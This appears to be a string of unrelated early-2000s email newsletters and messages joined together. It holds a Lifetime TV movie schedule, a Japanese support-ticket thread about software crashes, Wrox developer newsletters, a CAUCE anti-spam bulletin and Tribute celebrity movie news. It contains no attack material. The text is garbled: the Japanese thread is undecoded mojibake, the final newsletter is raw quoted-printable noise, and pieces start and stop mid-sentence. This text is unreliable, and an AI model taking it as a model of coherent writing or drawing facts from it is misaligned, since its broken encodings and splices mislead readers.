WEEK ""The Wrong Woman,"" premiering August 20 at 9 pm et/pt Melanie is flirting with a married man -- her boss. When he turns up dead, she is framed for his murder! Will the victim's wife help save Melanie from jail? Starring ""The Division"" star Nancy McKeon [ http://www.lifetimetv.com/shows/ip/portraits/0023/0023_index.html ]. [ http://www.lifetimetv.com/movies/info/move2355.html ] ""Hit and Run,"" airing August 21 at 9 pm et/pt Joanna is the ideal mother, wife and friend. But her ""perfect"" life is altered forever when she accidentally hits a young girl with her car and leaves the scene. What catches up with her first -- her conscience or the police? Starring ""The Division"" star Lisa Vidal [ http://www.lifetimetv.com/shows/division/bios/cast_lisa.html ]. [ http://www.lifetimetv.com/movies/info/move2518.html ] ""Get to the Heart: The Barbara Mandrell Story,"" premiering August 22 at 9 pm et/pt Barbara Mandrell plays herself in this inspiring autobiographical movie about the country-western singer's rise to fame and the car crash that nearly killed her. Also starring Dolly Parton and Kenny Rogers. Find out more about this Grammy-winning crooner [ http://www.lifetimetv.com/shows/ip/portraits/9837/9837_index.html ]. [ http://www.lifetimetv.com/movies/info/move3180.html ] ""Road Rage,"" airing August 23 at 9 pm et/pt It's just another day on the freeway for Ellen Carson, until she innocently cuts off Eddie, a short-tempered delivery driver who is upset over recent deaths in his family. Then Ellen and her loved ones become the stalking targets of Eddie's violent wrath. Starring Yasmine Bleeth. [ http://www.lifetimetv.com/movies/info/move3002.html ] ************************************************************************* BIG EVENT: A MARTINEZ SUNDAY Tune in on Sunday, August 25, for a day filled with movies showcasing heartthrob A Martinez, who stars in Lifetime's exciting new legal series, ""For the People"" [ http://www.lifetimetv.com/shows/ftpeople/index.html ]. ""She-Devil,"" airing August 25 at 12 pm et/pt When Ruth's husband, Bob, leaves her for another woman, Ruth devises a devious plot to ruin both their lives piece by piece. It's a face-off between Roseanne Barr and Meryl Streep! [ http://www.lifetimetv.com/movies/info/move1455.html ] ""Manhunt: Search for the Night Stalker,"" airing August 25 at 2 pm et/pt This true story recalls how famed serial killer Richard Ramirez terrorized Los Angeles for six months by murdering people in their own homes. See how the cops finally caught this vicious criminal. [ http://www.lifetimetv.com/movies/info/move1881.html ] ""Sweet Dreams,"" airing August 25 at 4 pm et/pt She wakes up from a coma and nothing is as it seems. Will she regain her memory and realize that her husband and his mistress are out to get her? Starring Tiffani-Amber Thiessen. [ http://www.lifetimetv.com/movies/info/move2676.html ] ""Cruel Justice,"" airing August 25 at 6 pm et/pt After his daughter's rapist is set free by the courts, a father seeks justice on his own terms. [ http://www.lifetimetv.com/movies/info/move3023.html ] *********************************************************************** FUN AND GAMES Think you're ultimate film fanatic? Prove it! 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; > > > > > > ; > > > > > > Subject: Re:$B;0I)2=3X%(%s%8%K%""%j%s%0MM%W%m%;%9%@%&%s$K$D$$$F(B > > > > - ticket > > > > > > #53121OTC1 - > > > > > > > > > > > > > > > > > > OTC/$B0KElMM(B > > > > > > $B$*@$OC$K$J$C$F$*$j$^$9!#(B > > > > > > > > > > > > thread$B%m%0$H(Bwatch.log$B$h$j%W%m%;%9%@%&%s$K$D$$$F(B > > > > > > $B$J$K$+$o$+$j$^$7$?$G$7$g$&$+!#(B > > > > > > $BMh=5$O$8$a$K!"";0I)2=3X%(%s%8%K%""%j%s%0MM$KJs9p$9$k(B > > > > > > $BI,MW$,$""$j$^$9$N$G!""$4O""Mm$$$?$@$/$h$&$*4j$$$$$?$7$^$9!#(B > > > > > > > > > > > > $B%-%d%N%sHNGd!J3t!K(B > > > > > > $B0KF#!!@55A(B > > > > > > > > > > > > -------- Original Message -------- > > > > > > Subject: [RE: $B;0I)2=3X%(%s%8%K%""%j%s%0MM%W%m%;%9%@%&%s$K$D$$$F(B > > > > > > - ticket #53121OTC1 -] > > > > > > Date: Wed, 10 Oct 2001 14:20:02 +0900 > > > > > > From: it-oh <> > > > > > > To: > > > > > > CC: , > > > > > > ,, > > > > > > > > > > > > > > > > > > > > OTC/$B0KElMM(B > > > > > > > $B$*@$OC$K$J$C$F$*$j$^$9!#(B > > > > > > > > > > > > > > $B;0I)2=3X%(%s%8%K%""%j%s%0MM(B(NT)$B$K$F%a%b%j4F;k$N@_Dj8e(B > > > > > > > 10$B7n(B5$BF|$K%W%m%;%9%@%&%s$,H/@8$7$^$7$?!#(B > > > > > > > $B$=$N;~$N(Bthread$B%m%0$H(Bwatch.log$B$r(Bftp$B%5%$%H(B > > > > > > > $B%f!<%6!""!V(Bmitsubishi chemical eng$B!WFb$K%""%C%W%m!<%I$7$^$7(B > > $B$?!#(B > > > > > > > $B!V(B20011005logs2.zip$B!W$r$4Mw2<$5$$!#(B > > > > > > > watch.log$B$K$O!""F|;~$,=PNO$5$l$J$$$N$G$$$D$NCM$+$o$+$j$^$;$s$,(B > > > > > > > $B:G=i$NCM$H:G8e$NCM$rHf3S$9$k$H(BFaults$B9`L\$,A}$($F$$$k0J30$O!""(B > > > > > > > $BJQ2=$,$J$$$h$&$K;W$o$l$^$9!#(B > > > > > > > > > > > > > > $B%W%m%;%9%@%&%s$N860x$K$D$$$F$h$m$7$/$*4j$$$$$?$7$^$9!#(B > > > > > > > > > > > > > > $B%-%d%N%sHNGd!J3t!K(B > > > > > > > $B0KF#!!@55A(B > > > > > > > > > > > > > > -------- Original Message -------- > > > > > > > Subject: RE: $B;0I)2=3X%(%s%8%K%""%j%s%0MM%W%m%;%9%@%&%s$K$D$$$F(B > > > > > > - ticket #53121OTC1 - > > > > > > > Date: Tue, 11 Sep 2001 13:31:52 -0400 > > > > > > > From: ""Hitoshi Ito"" <> > > > > > > > Reply-To: <> > > > > > > > To: ""'it-oh'"" <> > > > > > > > CC: <>, > > > > > > <>,<>, > > > > > > <> > > > > > > > > > > > > > > $B%-%d%N%sHNGd!J3t!K(B > > > > > > > $B0KF#MM(B > > > > > > > > > > > > > > OpenText$B$N0KEl$G$9!#$*@$OC$K$J$C$F$*$j$^$9!#(B > > > > > > > > > > > > > > $B3NG'$r > $B$o$;(B > > > > $B$F8+(B > > > > > > $B$F!""(B > > > > > > > $B%a%b%j$N;HMQ>u67$rD4::$9$k$h$&$G$9!#2a5n$N;vNc$^$G$O$o$+$j$^(B > > $B$;$s(B > > > > $B$G$7(B > > > > > > $B$?$,(B > > > > > > > $B2?EY$+KLJF$N$*5RMM$KBP$7$F;HMQ$5$l$?$3$H$,$""$k$h$&$G$9!#(B > > > > > > > > > > > > > > $B$h$m$7$/$*4j$$$7$^$9!#(B > > > > > > > > > > > > > > > -----Original Message----- > > > > > > > > From: it-oh [mailto:] > > > > > > > > Sent: Tuesday, September 11, 2001 4:19 AM > > > > > > > > To: > > > > > > > > Cc: ; > > > > ; > > > > > > > > ; > > > > > > > > Subject: Re: $B;0I)2=3X%(%s%8%K%""%j%s%0MM%W%m%;%9%@%&%s$K$D$$(B > > $B$F(B > > > > > > - ticket > > > > > > > > #53121OTC1 - > > > > > > > > > > > > > > > > > > > > > > > > $B0KElMM(B > > > > > > > > $B$*@$OC$K$J$C$F$*$j$^$9!#(B > > > > > > > > > > > > > > > > perl$B$r%$%s%9%H!<%k$7!""J@ > $B$rE:(B > > > > $BIU$7(B > > > > > > $B$^$9(B > > > > > > > > $B!#$3$N%U%!%$%k$G$h$m$7$$$G$7$g$&$+!#(B > > > > > > > > $B$h$1$l$P!"";0I)2=3XMM$K@_Dj$7%W%m%;%9%@%&%s$^$G%m%0$r=PNO$9(B > > $B$k@_(B > > > > $BDj$K(B > > > > > > $B$7$F(B > > > > > > > > $B$$$?$@$-$^$9!#(B > > > > > > > > $B$J$*!""$3$N%m%0$K$O!"";~9o$,=PNO$5$l$k$h$&$K$J$C$F$$$^$;$s$,(B > > $B!""%W(B > > > > $B%m%;(B > > > > > > $B%9%@(B > > > > > > > > $B%&%s$H$N4X78$,$o$+$k$N$G$7$g$&$+!#(B > > > > > > > > $B%m%0FbMF$N@bL@$H!""2a5n$K$3$N%m%0$+$i$o$+$C$?;vNc$r$4O""Mm$/(B > > $B$@$5(B > > > > $B$$!#(B > > > > > > > > > > > > > > > > $B$h$m$7$/$*4j$$$$$?$7$^$9!#(B > > > > > > > > > > > > > > > > $B%-%d%N%sHNGd!J3t!K(B > > > > > > > > $B0KF#!!@55A(B > > > > > > > > > > > > > > > > > > > > > > > > -------- Original Message -------- > > > > > > > > Subject: RE: $B;0I)2=3X%(%s%8%K%""%j%s%0MM%W%m%;%9%@%&%s$K$D$$(B > > $B$F(B > > > > > > > > - ticket #53121OTC1 - > > > > > > > > Date: Mon, 10 Sep 2001 15:44:26 -0400 > > > > > > > > From: ""Hitoshi Ito"" <> > > > > > > > > Reply-To: <> > > > > > > > > To: ""'it-oh'"" <> > > > > > > > > CC: <>, > > > > > > > > > > <>,<>, > > > > > > > > <> > > > > > > > > > > > > > > > > $B%-%d%N%sHNGd!J3t!K(B > > > > > > > > $B0KF#MM(B > > > > > > > > > > > > > > > > OpenText$B$N0KEl$G$9!#$*@$OC$K$J$C$F$*$j$^$9!#(B > > > > > > > > $B3+H/$+$i$NJV;v$,$""$j$^$7$?$N$G$*CN$i$;$$$?$7$^$9!#(B > > > > > > > > > > > > > > > > > They seem to have quite a few crashes when the > > > > system seem to > > > > > > > > > be allocating > > > > > > > > > a pointer and then jumping off into the oblivion. > > > > I'd say we > > > > > > > > > should get > > > > > > > > > them watch.pl to see if they're running out of > > memory. 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thread$B%m(B > > > > > > $B%0(B > > > > > > > > $B$H(Bwatch.log$B$r$3$A$i$^$G$*Aw$j2<$5$$!#$h$m$7$/$*4j$$CW$7$^$9(B > > $B!#(B > > > > > > > > > > > > > > > > > > > > > > > > > -----Original Message----- > > > > > > > > > From: Hitoshi Ito [mailto:] > > > > > > > > > Sent: Friday, September 07, 2001 4:38 PM > > > > > > > > > To: 'it-oh' > > > > > > > > > Cc: ''; > > > > > > ''; > > > > > > > > > ''; '' > > > > > > > > > Subject: RE: $B;0I)2=3X%(%s%8%K%""%j%s%0MM%W%m%;%9%@%&%s$K$D(B > > $B$$$F(B > > > > > > > > - ticket > > > > > > > > > #53121OTC1 - > > > > > > > > > > > > > > > > > > > > > > > > > > > $B%-%d%N%sHNGd!J3t!K(B > > > > > > > > > $B0KF#MM(B > > > > > > > > > > > > > > > > > > OpenText$B$N0KEl$G$9!#$*@$OC$K$J$C$F$*$j$^$9!#(B > > > > > > > > > > > > > > > > > > $B$3$N7o$K4X$7$^$7$F%^%M!<%8%c!<$^$GJs9p$7!"";0I)EE5!MM$N;~(B > > $B$N$h(B > > > > $B$&$K(B > > > > > > > > > $B%7%+%4$N3+H/$N$[$&$X%m%0$rAw$jD4::$5$;$k$3$H$K$J$j$^$7$?(B > > $B!#2?(B > > > > $B$+$o(B > > > > > > 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Chapter 21: Implementing CORBA with ORBit Chapter 22: Diskless systems Chapter 23: XML and libxml Chapter 24: Beowulf Clusters Chapter 25: Documentation Chapter 26: Device Drivers Chapter 27: Distributing the application Chapter 28: Internationalization ========== RECENTLY RELEASED ========== ASP.NET Namespace Reference with C# http://www.wrox.com/ACON11.asp?ISBN=1861007442&tid026 ASP.NET Namespace Reference with VB.NET http://www.wrox.com/ACON11.asp?ISBN=1861007450&tid026 Beginning ASP.NET Databases using C# http://www.wrox.com/ACON11.asp?ISBN=1861007418&tid026 Beginning C# Databases http://www.wrox.com/ACON11.asp?ISBN=1861006098&tid026 ***Visit the P2P Discussion list for Beginning C# Databases http://p2p.wrox.com/list.asp?list=beginning_c_sharp_databases&tid026 Developing C# Windows Software: A Windows Forms Tutorial http://www.wrox.com/ACON11.asp?ISBN=186100737x&tid026 Professional ASP.NET XML using C# http://www.wrox.com/ACON11.asp?ISBN=1861007248&tid026 Professional Open Source Web Services http://www.wrox.com/ACON11.asp?ISBN=1861007469&tid026 Visual Basic .NET Solutions Toolkit: Practical Classes for .NET Developers http://www.wrox.com/ACON11.asp?ISBN=1861007396&tid026 ========== FUTURE TITLES ========== Beginning VB.NET 2nd Edition http://www.wrox.com/ACON11.asp?ISBN=1861007612&tid026 Beginning .NET Web Services with VB.NET http://www.wrox.com/ACON11.asp?ISBN=1861007256&tid026 Professional VB.NET Design Patterns http://www.wrox.com/ACON11.asp?ISBN=1861006985&tid026 Fast Track ADO.NET http://www.wrox.com/ACON11.asp?ISBN=1861007604&tid026 ASP.NET Security http://www.wrox.com/ACON11.asp?ISBN=1861006209&tid026 ***Visit the P2P Discussion list for ASP.NET Security http://p2p.wrox.com/list.asp?list=aspx_security&tid026 Fast Track Windows Forms http://www.wrox.com/ACON11.asp?ISBN=1861007663&tid026 Professional ASP.NET Web Services with VB.NET http://www.wrox.com/ACON11.asp?ISBN=1861007752&tid026 VB.NET Code Level Security Handbook http://www.wrox.com/ACON11.asp?ISBN=1861007477&tid026 VB.NET Remoting Handbook http://www.wrox.com/ACON11.asp?ISBN=186100740x&tid026 VB.NET Deployment Handbook http://www.wrox.com/ACON11.asp?ISBN=186100771x&tid026 ========== NEWS & FEATURES ========== ASPToday announces their Inaugural Guru week ***Dan Wahlin expounds on XML Support in ASP.NET ASPToday are proud to announce their first Guru Week. From 29th July to 2nd August Microsoft MVP, ASPToday author and www.xmlforasp.net/ founder Dan Wahlin presents a series of specially commissioned articles, telling you all you need to know about XML support in ASP.NET. Drawing on his experience of consulting and XML training, Dan's articles will allow anyone interested in XML to quickly get up to speed in this important subject. Read more about ASPToday's Guru Weeks: http://www.wrox.com/ACON7.asp?art_type=1&id=809&tid026 ***Updating Data Safely with A DataSet, by Alex Homer OK, so we cant store all three values for a row (the current, original and the underlying values) in the tables of our DataSet. Is this actually important? What do we actually need to perform the process, and what do users actually expect to see? Can we make do with just two values instead of three, (and dont you hate books that keep asking questions)? Read the rest of Alex Homer's article here: http://www.wrox.com/ACON7.asp?art_type=1&id=810&tid026 ========== WROX ANNOUNCEMENTS ========== Author Interviews ***With Franois Liger, Craig McQueen and Paul Wilton, authors of Visual Basic .NET Text Manipulation Handbook. [AP] What do you think this book brings to the Visual Basic .NET developer, and so who do you think needs this book? [CM] The book provides a quick easy reference for string programming tasks. String manipulation is a large part of programming and it is difficult to remember it all. Having an accessible reference assists in finding existing code to do the job rather than rewriting something that is already in the platform. It's valuable for all .NET developers. [PW] I think all VB.NET developers need this book. String handling and regular expressions are not arcane topics for high-flying gurus - they are the stuff of everyday programming! The regular expression chapters give a great insight into what at first can seem a tricky topic. In addition the regular expression reference at the back of the book is worth its weight in gold - certainly more readable than all the documentation I had to work with when writing the book. [AP] In two sentences, explain what strings are in .NET. Read the interview in full: http://www.wrox.com/ACON7.asp?art_type=2&id=808&tid026 Or read about Visual Basic .NET Text Manipulation Handbook: http://www.wrox.com/ACON11.asp?ISBN=1861007302&tid026 ***With Tobin Titus, author of Visual Basic .NET Threading Handbook In June, Wrox brought out a slim 260-page volume on threading in VB.NET. There has been some confusion as to why we would want to bring a book out on what seems a straightforward topic. In this article we interview Tobin Titus (one of the authors on this title) and ask him various questions on the book, as well getting his opinions on various programming-related topics. What is free threading? Free threading is the ability to control execution to the utmost within an application. While VB developers have been able to control some aspects of threading in the past, they haven't been completely free to control those threads in the manner that they desire. Free threading allows the developer to make decisions on when a thread should start, when it should end, and what it should do while executing. Read the interview in full here: http://www.wrox.com/ACON7.asp?art_type=2&id=805&tid026 Or read about Visual Basic .NET Threading Handbook: http://www.wrox.com/ACON11.asp?ISBN=1861007132&tid026 ***C#Today Free Code Download Due to customer feedback, C#Today have decided to try out something new this week - we are making this week's code download \ support material available to all non-subscribers (providing they are a member of the Wrox Developer Community, which is free to join). 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Chapter 21: Implementing CORBA with ORBit Chapter 22: Diskless systems Chapter 23: XML and libxml Chapter 24: Beowulf Clusters Chapter 25: Documentation Chapter 26: Device Drivers Chapter 27: Distributing the application Chapter 28: Internationalization Top RECENTLY RELEASED (click for more information) ASP.NET 1.0 Namespace Reference with C# ASP.NET 1.0 Namespace Reference with VB.NET Beginning ASP.NET Databases using C# Beginning C# Databases (Join the p2p discussion list for this title here) Professional Open Source Web Services Developing C# Windows Software: A Windows Forms Tutorial Professional ASP.NET 1.0 XML using C# Visual Basic .NET Solutions Toolkit FUTURE TITLES (click for more information) Beginning VB.NET, 2nd Edition Beginning .NET Web Services with VB.NET Professional VB.NET Design Patterns Fast Track ADO.NET ASP.NET Security (Join the p2p discussion list for this title here) Fast Track Windows Forms Professional ASP.NET Web Services with VB.NET VB.NET Code Level Security Handbook VB.NET Remoting Handbook VB.NET Delpoyment Handbook Top NEWS & FEATURES ASPToday announces their Inaugural Guru Week - Dan Wahlin expounds on XML Support in ASP.NET ASPToday are proud to announce their first Guru Week. From 29th July to 2nd August Microsoft MVP, ASPToday author and www.xmlforasp.net/ founder Dan Wahlin presents a series of specially commissioned articles, telling you all you need to know about XML support in ASP.NET. Drawing on his experience of consulting and XML training, Dan's articles will allow anyone interested in XML to quickly get up to speed in this important subject. Read more about ASPToday's Guru Weeks: http://www.wrox.com/ACON7.asp?art_type=1&id=809&tid027 Subscription to ASPToday starts at $10 per month: subscribe Now. Alternatively, you can purchase any article in our library for $5. Updating Data Safely with a DataSet, an article by Alex Homer ""OK, so we cant store all three values for a row (the current, original and the underlying values) in the tables of our DataSet. Is this actually important? What do we actually need to perform the process, and what do users actually expect to see? Can we make do with just two values instead of three, (and dont you hate books that keep asking questions)?"" Read the whole of Alex Homer's article here: http://www.wrox.com/ACON7.asp?art_type=1&id=810&tid027 Top WROX ANNOUNCEMENTS AUTHOR INTERVIEWS - With Franois Liger, Craig McQueen and Paul Wilston, authors of Visual Basic .NET Text Manipulation Handbook Q. What do you think this book brings to the Visual Basic .NET developer, and so who do you think needs this book? [CM] The book provides a quick easy reference for string programming tasks. String manipulation is a large part of programming and it is difficult to remember it all. Having an accessible reference assists in finding existing code to do the job rather than rewriting something that is already in the platform. It's valuable for all .NET developers. [PW] I think all VB.NET developers need this book. String handling and regular expressions are not arcane topics for high-flying gurus - they are the stuff of everyday programming! The regular expression chapters give a great insight into what at first can seem a tricky topic. In addition the regular expression reference at the back of the book is worth its weight in gold - certainly more readable than all the documentation I had to work with when writing the book. [AP] In two sentences, explain what strings are in .NET Read the interview in full: http://www.wrox.com/ACON7.asp?art_type=2&id=808&tid027 Or read about Visual Basic .NET Threading Handbook: http://www.wrox.com/ACON11.asp?ISBN=1861007302&tid027 - with Tobin Titus, author of Visual Basic .NET Threading Handbook In June, Wrox brought out a slim 260-page volume on threading in VB.NET. There has been some confusion as to why we would want to bring a book out on what seems a straightforward topic. In this article we interview Tobin Titus (one of the authors on this title) and ask him various questions on the book, as well getting his opinions on various programming-related topics. Q. What is free threading? Free threading is the ability to control execution to the utmost within an application. While VB developers have been able to control some aspects of threading in the past, they haven't been completely free to control those threads in the manner that they desire. Free threading allows the developer to make decisions on when a thread should start, when it should end, and what it should do while executing. Read the interview in full here: http://www.wrox.com/ACON7.asp?art_type=2&id=805&tid027 Or read about Visual Basic .NET Threading Handbook: http://www.wrox.com/ACON11.asp?ISBN=1861007132&tid027 Get on the Fast Track to Success If you are an experienced programmer who needs to get up to speed on core .NET Technologies as quickly as possible, the Fast Track series is for you. The Fast Track books complement our Beginning and Professional series by providing concise guides to core topics. They deliver the essential facts and understanding that are required to start taking advantage of .NET. By targeting specific groups of experienced developers, the books are able to concentrate on providing valuable information rather than covering basics. Read the full article here: http://www.wrox.com/ACON7.asp?art_type=2&id=804&tid027 C#Today Free Code Download Due to customer feedback, C#Today have decided to try out something new this week - we are making this week's code download \ support material available to all non-subscribers (providing they are a member of the Wrox Developer Community, which is free to join). This week's case study: Generating Design Patterns Using CodeDOM http://www.csharptoday.com/content/articles/20020722.asp?&tid027 The Code Document Model (CodeDOM), which provides the ability to generate source code in a number of the managed languages, is a very powerful .NET facility and has attracted much interest. Within Visual Studio .NET, a complementary though unrelated feature is provided by the CodeModel object, which allows programmatic access to hand-written code. Together these two tools provide a platform from which it should be possible to develop a VS.NET add-in to streamline the production of common designs in code. This case study follows the development of such a tool, which attempts to automate the generation of a widespread design pattern in an existing C# or VB.NET project. There are four new lists in the .NET category on p2p: beginning_c_sharp_databases Connecting your C# code to data sources aspx_web_matrix Discuss Web Matrix, a free application development tool for ASP.NET weo_object_builder Generate code in C# or VB.NET for SQL Server regular_expressions Principles and use of Regular Expressions Top INFORMATION FOR SUBSCRIBERS You can unsubscribe from this list by visiting http://www.wrox.com/ACON3.asp&tid027 Enter your e-mail address into the field at the bottom of the page and press the unsubscribe button. The page will refresh and you will see a short message above the field to tell you if you have successfully unsubscribed. Similarly, to change the address that the Developers Journal is mailed to, enter your previous address and click unsubscribe, then enter your new address and click subscribe. Replying to this mail, however, will NOT automatically take your address off our lists. We'd like to hear from you. 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Conrad Burns (R-MT) introduced S.630, the CAN SPAM Act of 2001. This bill would require UCE to have a valid return address to facilitate consumers' removal from spam lists. It would place enforcement in the hands of the Federal Trade Commission, and state Attorneys General. It would also permit Internet Service Providers (ISPs) to enforce violations, up to $10 per illegal spam. It would preempt any stricter state anti-spam laws. The Senate Commerce Committee considered the bill on May 17th, and reported it out largely unchanged. It's not now scheduled for further action in the Senate. CAUCE has always opposed this bill, since we believe it would lead to more spam, not less. When South Korea passed a similar opt-out law last year, spam from Korea soon increased by a factor of 10. Our April 2001 press release goes into more detail about the problems with S.630: http://www.cauce.org/pressreleases/pr-s630.shtml We're pleased that the Congress is looking at spam issues again, and hope that in the future we can help them create an effective bill that the entire Internet community can support. - -------------------------------------------------------------- * European Union bans spam GLOBAL INTERNET COMMUNITY APPLAUDS EUROPEAN ANTI-SPAM VOTE May 31, 2002 - The Coalition Against Unsolicited Commercial E-Mail (CAUCE), EuroCAUCE, CAUCE India, CAUCE Canada and the Coalition Against Unsolicited Bulk E-Mail, Australia (CAUBE.au) today applauded the decision by the European Parliament to protect European Internet users from the practice of unsolicited e-mail advertisements. Yesterday's vote will turn Europe into a virtual ""spam-free zone"" after the formal adoption of the directive, making it illegal to send unsolicited e-mail, text message or other similar advertisements to individuals with whom companies do not have a preexisting business relationship. ""This is a tremendous day for European Internet users,"" said EuroCAUCE Chairman George Mills. ""We are extremely pleased that the European Parliament has listened to the citizens of its member countries and added the right to be left alone by spammers to its efforts to protect the privacy of Europeans."" While six European Union member countries had already formalized ""opt-in"" in their national laws and regulations, yesterday's vote should turn all of Europe into a spam-free zone by the end of 2003. ""Unfortunately, the rest of the world's Internet-using countries, including the United States, now lag behind Europe in their protection of Internet users,"" said CAUCE Chairman Scott Hazen Mueller. ""This is a tremendous first step, but the rest of the world now needs to follow Europe's lead and unite behind protection of Internet users and network owners from abusive and costly unsolicited e-mail advertising."" ""This decision is the direct result of Internet users throughout the European Union standing up for their rights, and Members of the European Parliament listening to their constituents,"" said Mills. ""Our members and our volunteers performed an integral part of this process, translating, lobbying and educating their representatives."" More information on the E.U. directive is available on the European Parliament's Web site , and a EuroCAUCE analysis is available at . More information on the international CAUCE network of affiliate organizations is available at . - -------------------------------------------------------------- About This Message: This message was written and broadcast by the Coalition Against Unsolicited Commercial E-Mail. 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When she becomes an overnight success, he struggles to keep the truth under wraps.=20 =20 =09 =09 =20 =09 =09 =09 =20 Serving Sara A wealthy bombshell enlists a process server to help her bring down her nasty husband in a divorce settlement. =20 =09 =09 =20 =09 =09 =09 The Good Girl A depressed, married cashier starts a passionate affair with an oddball stockboy who thinks he's Holden Caulfield, the main character in the classic novel The Catcher in the Rye. (opened Aug 21) =20 =09 =09 =20 =09 =09 =09 =20 One Hour Photo A suburban family finds themselves the objects of obsession of an employee at a film-processing center in their local mall. =20 =09 =09 =20 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 An island getaway An island in Tracadie harbour is about to become the Nova Scotia getaway for movie stars Ethan Hawke and Uma Thurman and their two children. Owner Marie Kelly confirmed she is finalizing the sale of her 3.6-hectare island, which comes complete with two cottages and road access across a 60-metre land bridge. She didn't divulge the price. The couple, whom she met through a mutual friend in the area, had discussed buying the island four years ago. But she didn't make the decision to sell until January when her family was no longer interested in keeping their summer home, purchased in the late 1960s. Hawke, an Oscar nominee for his role in Training Day in 2001, visited the Tracadie area in June. He is now on tour to promote his second book, Ash Wednesday. His first novel, Hottest State, was published in 1996. Thurman is known for her 1994 lead roles in Even Cowgirls Get the Blues and Pulp Fiction, for which she received an Oscar nomination.=20 =20 =09 =09 =09 =09 =20 British boys reserved? Gorgeous Gwyneth Paltrow , currently single and searching for love, has complained that British men just don't play the dating game the way she's used to. The 29-year-old actress, who has a home in London and was there to perform on stage in Proof, says: ""British people don't seem to ask each other out on dates. If someone asks you out they're really going out on a limb, whereas in America, it happens all the time. It's no big deal and no weight should be attached to it. It's only dinner, for God's sake."" Gwyneth, previously attached to Hollywood heartthrobs Brad Pitt and Ben Affleck , admits she was asked out a couple of times when last in London, and she accepted with pleasure. One of her ""very charming"" dates was actor James Purefoy , who starred in A Knight's Tale, she told a magazine. But who flew in to really save the day? A hardy Canadian lad, that's who. Word about town is that singer Bryan Adams recently squired Ms. Paltrow around town. =20 =09 =09 =09 =09 =20 A one-on-one interview Muscle-bound Vin Diesel , star of the current hit movie XXX, isn't shy around reporters. In fact, he was so taken by Entertainment Tonight reporter, Maria Manounos, that he asked her out! Menounos, 24, is a former Massachusetts Teen USA winner. She got the chance to interview the 35-year-old Diesel in July and when the subject of dating came up, she asked if he was ""available"". It turns out he was and a week later the pair ran into each other again at the premiere of XXX in Westwood, California. When he saw Maria, according to a tabloid news report, he grabbed her hand and started whispering in her ear. He was overhead promising to see her later in the day. =20 =09 =09 =09 =09 =09 =09 =09 =09 =09 =20 =20 We Were Soldiers =20 =20 The Sweetest Thing =20 =20 Return to Never Land =20 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 Robert De Niro and Frances McDormand star in City By The Sea and Stephen Dorff talks about Feardotcom . Also featured in MOVIEMAIL next week: more interviews, more contests and much more movie buzz.=20 =20 =09 =09 =09 =09 =09 =09 =09 View this issue of Tribute Movie Mail online. http://www.tribute.ca/newsletter/48 =20 To subscribe, click here or send an email , send an email with subscribe enews your_full_name in the body of the message. To unsubscribe, click here or send an email with unsubscribe enews in the body of the message. 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When she becomes=0D = an overnight success, he struggles to keep the truth=0D = under wraps. =0D =0D =  =0D =0D = =0D =0D =0D = =0D =0D =0D = =0D =0D =0D = =0D =0D =0D = =0D =0D =0D = =0D =0D =0D =0D =0D = =0D =0D =0D = =0D =  =0D =0D = =0D Serving = Sara=0D A wealthy bombshell enlists a = process server to help=0D her bring down her = nasty husband in a divorce settlement.=0D = =0D  =0D = =0D =0D = =0D =0D = =0D =0D =0D = =0D =0D =0D = =0D =0D =0D = =0D =0D =0D = =0D =0D =0D =0D =0D = =0D =0D =0D = =0D =  =0D =0D = =0D =0D The Good = Girl=0D A depressed, married cashier = starts a passionate affair=0D with an oddball = stockboy who thinks he's Holden Caulfield,=0D = the main character in the classic novel The=0D = Catcher in the Rye.=0D (opened Aug = 21)=0D =0D =  =0D =0D =0D =0D =0D = =0D =0D =0D = =0D =0D =0D = =0D =0D =0D = =0D =0D = =0D =0D =0D =0D =0D = =0D =0D =0D = =0D =0D =  =0D =0D = =0D =0D One Hour = Photo=0D A suburban family finds = themselves the objects of=0D obsession of an = employee at a film-processing center=0D in = their local mall.=0D =0D =  =0D =0D = =0D =0D =0D = =0D =0D =0D = =0D =0D =0D = =0D =0D =0D = =0D =0D =0D = =0D =0D =0D = =0D =0D =0D = =0D =0D = =0D =0D =0D =0D = =0D =0D =0D = =0D = =0D =0D =0D =0D = =0D =0D = =0D = =0D =0D =0D =0D  =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D = =0D  =0D = =0D =0D = An=0D island getaway=0D = An island in Tracadie harbour is about to become the Nova=0D = Scotia getaway for movie stars Ethan Hawke=0D and Uma Thurman and their two children.=0D = Owner Marie Kelly confirmed she is finalizing the sale of=0D = her 3.6-hectare island, which comes complete with two cottages=0D = and road access across a 60-metre land bridge. She = didn't=0D divulge the price. The couple, whom she met = through a mutual=0D friend in the area, had discussed = buying the island four years=0D ago. But she didn't = make the decision to sell until January=0D when her = family was no longer interested in keeping their=0D = summer home, purchased in the late 1960s. Hawke, an Oscar=0D = nominee for his role in Training Day in 2001, visited=0D = the Tracadie area in June. He is now on tour to promote = his=0D second book, Ash Wednesday. His first = novel, Hottest=0D State, was published in = 1996. Thurman is known for her=0D 1994 lead roles in = Even Cowgirls Get the Blues and=0D Pulp = Fiction, for which she received an Oscar nomination.=0D = =0D =0D =  =0D =0D =0D =0D =0D = =0D =0D =0D = =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D = =0D  =0D = =0D British boys reserved?=0D = Gorgeous Gwyneth Paltrow, currently=0D single and = searching for love, has complained that British=0D = men just don't play the dating game the way she's used to.=0D = The 29-year-old actress, who has a home in London and was=0D = there to perform on stage in Proof, says: = ""British=0D people don't seem to ask each other out = on dates. If someone=0D asks you out they're really = going out on a limb, whereas in=0D America, it = happens all the time. It's no big deal and no=0D = weight should be attached to it. It's only dinner, for God's=0D = sake."" Gwyneth, previously attached to Hollywood = heartthrobs=0D Brad Pitt and Ben Affleck,=0D admits she was asked out = a couple of times when last in London,=0D and she = accepted with pleasure. One of her ""very charming""=0D = dates was actor James Purefoy, who=0D starred in A = Knight's Tale, she told a magazine. But=0D who = flew in to really save the day? A hardy Canadian lad,=0D = that's who. Word about town is that singer Bryan Adams=0D = recently squired Ms. Paltrow around town.=0D = =0D  =0D = =0D =0D =0D =0D = =0D =0D =0D = =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D = =0D  =0D = =0D A one-on-one interview=0D = Muscle-bound Vin Diesel, star of=0D the current hit = movie XXX, isn't shy around=0D reporters. In fact, he was so = taken by Entertainment Tonight=0D reporter, = Maria Manounos, that he asked her out!=0D = Menounos, 24, is a former 